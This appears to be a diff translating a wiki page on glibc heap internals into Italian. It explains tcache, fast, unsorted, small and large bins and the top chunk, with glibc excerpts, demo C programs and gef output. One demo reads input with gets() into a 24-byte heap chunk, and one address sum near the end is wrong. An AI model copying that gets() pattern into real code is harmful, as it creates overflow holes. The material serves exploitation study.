- time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +La funzione `__tcache_init` è la funzione che crea e alloca lo spazio per l'oggetto `tcache_perthread_struct`.
-tcache_init code - +codice tcache_init ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Indici Tcache -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +Il tcache ha diversi bin a seconda della dimensione e i puntatori iniziali al **primo chunk di ciascun indice e la quantità di chunk per indice si trovano all'interno di un chunk**. Questo significa che localizzando il chunk con queste informazioni (di solito il primo), è possibile trovare tutti i punti iniziali del tcache e la quantità di chunk Tcache. ### Fast bins -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +I fast bins sono progettati per **accelerare l'allocazione di memoria per piccoli chunk** mantenendo i chunk recentemente liberati in una struttura di accesso rapido. Questi bin utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più recentemente è il primo** a essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire e rimuovere dalla cima di uno stack (LIFO) rispetto a una coda (FIFO). -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +Inoltre, **i fast bins utilizzano liste collegate semplici**, non doppie, il che migliora ulteriormente la velocità. Poiché i chunk nei fast bins non vengono uniti con i vicini, non c'è bisogno di una struttura complessa che consenta la rimozione dal mezzo. Una lista collegata semplice è più semplice e veloce per queste operazioni. -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +Fondamentalmente, ciò che accade qui è che l'intestazione (il puntatore al primo chunk da controllare) punta sempre all'ultimo chunk liberato di quella dimensione. Quindi: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- Quando un nuovo chunk viene allocato di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la successiva allocazione sappia dove ottenere un chunk disponibile +- Quando un chunk viene liberato, il chunk libero salverà l'indirizzo del chunk attualmente disponibile e l'indirizzo di questo chunk appena liberato verrà messo nell'intestazione -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... +La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20` si trovi nell'indice `0`, un chunk di dimensione `0x30` si troverebbe nell'indice `1`... > [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. - +> I chunk nei fast bins non sono impostati come disponibili, quindi vengono mantenuti come chunk di fast bin per un certo periodo invece di poter essere uniti con altri chunk liberi circostanti. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +Aggiungi un esempio di chunk fastbin ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Nota come allochiamo e liberiamo 8 chunk della stessa dimensione in modo che riempiano il tcache e l'ottavo sia memorizzato nel fast chunk. -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +Compilalo e debuggalo con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il tcache bin è pieno e un chunk è nel fast bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
### Unsorted bin -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +Il bin non ordinato è una **cache** utilizzata dal gestore della memoria per rendere più veloce l'allocazione della memoria. Ecco come funziona: Quando un programma libera un chunk, e se questo chunk non può essere allocato in un tcache o fast bin e non collide con il top chunk, il gestore della memoria non lo mette immediatamente in un bin specifico piccolo o grande. Invece, prima cerca di **fonderlo con eventuali chunk liberi adiacenti** per creare un blocco più grande di memoria libera. Poi, posiziona questo nuovo chunk in un bin generale chiamato "unsorted bin." -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +Quando un programma **richiede memoria**, il gestore della memoria **controlla il bin non ordinato** per vedere se c'è un chunk di dimensioni sufficienti. Se ne trova uno, lo utilizza immediatamente. Se non trova un chunk adatto nel bin non ordinato, sposta tutti i chunk in questa lista nei loro bin corrispondenti, sia piccoli che grandi, in base alle loro dimensioni. -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +Nota che se un chunk più grande viene diviso in 2 metà e il resto è più grande di MINSIZE, verrà rimesso nel bin non ordinato. -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +Quindi, il bin non ordinato è un modo per accelerare l'allocazione della memoria riutilizzando rapidamente la memoria recentemente liberata e riducendo la necessità di ricerche e fusioni che richiedono tempo. > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> Nota che anche se i chunk appartengono a categorie diverse, se un chunk disponibile collide con un altro chunk disponibile (anche se originariamente appartengono a bin diversi), verranno fusi.
-Add a unsorted chunk example - +Aggiungi un esempio di chunk non ordinato ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Nota come allochiamo e liberiamo 9 chunk della stessa dimensione in modo che **riempiano il tcache** e l'ottavo è memorizzato nel bin non ordinato perché è **troppo grande per il fastbin** e il nono non è liberato, quindi il nono e l'ottavo **non vengono uniti con il chunk superiore**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +Compilalo e debuggalo con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin del tcache è pieno e un chunk è nel bin non ordinato: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
### Small Bins -Small bins are faster than large bins but slower than fast bins. +I piccoli bin sono più veloci dei grandi bin ma più lenti dei fast bin. -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +Ogni bin dei 62 avrà **chunk della stessa dimensione**: 16, 24, ... (con una dimensione massima di 504 byte in 32 bit e 1024 in 64 bit). Questo aiuta nella velocità di trovare il bin dove dovrebbe essere allocato uno spazio e nell'inserimento e rimozione di voci in queste liste. -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +Questo è come viene calcolata la dimensione del piccolo bin in base all'indice del bin: +- Dimensione più piccola: 2\*4\*indice (ad es. indice 5 -> 40) +- Dimensione più grande: 2\*8\*indice (ad es. indice 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +Funzione per scegliere tra piccoli e grandi bin: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +Aggiungi un piccolo esempio di chunk ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +Nota come allochiamo e liberiamo 9 chunk della stessa dimensione in modo che **riempiano il tcache** e l'ottavo è memorizzato nel bin non ordinato perché è **troppo grande per il fastbin** e il nono non è liberato, quindi il nono e l'ottavo **non vengono uniti con il chunk superiore**. Poi allochiamo un chunk più grande di 0x110 che fa **andare il chunk nel bin non ordinato nel small bin**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +Compilalo e debuggalo con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel small bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### Grandi bin -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +A differenza dei piccoli bin, che gestiscono chunk di dimensioni fisse, ogni **grande bin gestisce un intervallo di dimensioni dei chunk**. Questo è più flessibile, permettendo al sistema di accogliere **varie dimensioni** senza la necessità di un bin separato per ogni dimensione. -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +In un allocatore di memoria, i grandi bin iniziano dove finiscono i piccoli bin. Gli intervalli per i grandi bin crescono progressivamente, il che significa che il primo bin potrebbe coprire chunk da 512 a 576 byte, mentre il successivo copre da 576 a 640 byte. Questo schema continua, con il bin più grande che contiene tutti i chunk sopra 1MB. -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +I grandi bin sono più lenti da operare rispetto ai piccoli bin perché devono **ordinare e cercare attraverso un elenco di dimensioni di chunk variabili per trovare la migliore corrispondenza** per un'allocazione. Quando un chunk viene inserito in un grande bin, deve essere ordinato, e quando la memoria viene allocata, il sistema deve trovare il chunk giusto. Questo lavoro extra li rende **più lenti**, ma poiché le allocazioni grandi sono meno comuni di quelle piccole, è un compromesso accettabile. -There are: +Ci sono: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 32 bin di intervallo 64B (collidono con i piccoli bin) +- 16 bin di intervallo 512B (collidono con i piccoli bin) +- 8 bin di intervallo 4096B (parzialmente collidono con i piccoli bin) +- 4 bin di intervallo 32768B +- 2 bin di intervallo 262144B +- 1 bin per le dimensioni rimanenti
-Large bin sizes code - +Codice delle dimensioni dei grandi bin ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +Aggiungi un esempio di grande dimensione ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +Vengono eseguite 2 allocazioni grandi, poi una viene liberata (mettendola nel bin non ordinato) e viene effettuata un'allocazione più grande (spostando quella libera dal bin non ordinato al bin grande). -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +Compilalo e debugga con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel bin grande: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
### Top Chunk - ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +Fondamentalmente, questo è un chunk che contiene tutto l'heap attualmente disponibile. Quando viene eseguito un malloc, se non c'è alcun chunk libero disponibile da utilizzare, questo top chunk ridurrà la sua dimensione per dare lo spazio necessario.\ +Il puntatore al Top Chunk è memorizzato nella struct `malloc_state`. -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +Inoltre, all'inizio, è possibile utilizzare il chunk non ordinato come top chunk.
-Observe the Top Chunk example - +Osserva l'esempio del Top Chunk ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +Dopo aver compilato e debuggato con un punto di interruzione nell'opcode `ret` di `main`, ho visto che il malloc ha restituito l'indirizzo `0xaaaaaaac12a0` e questi sono i chunk: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also 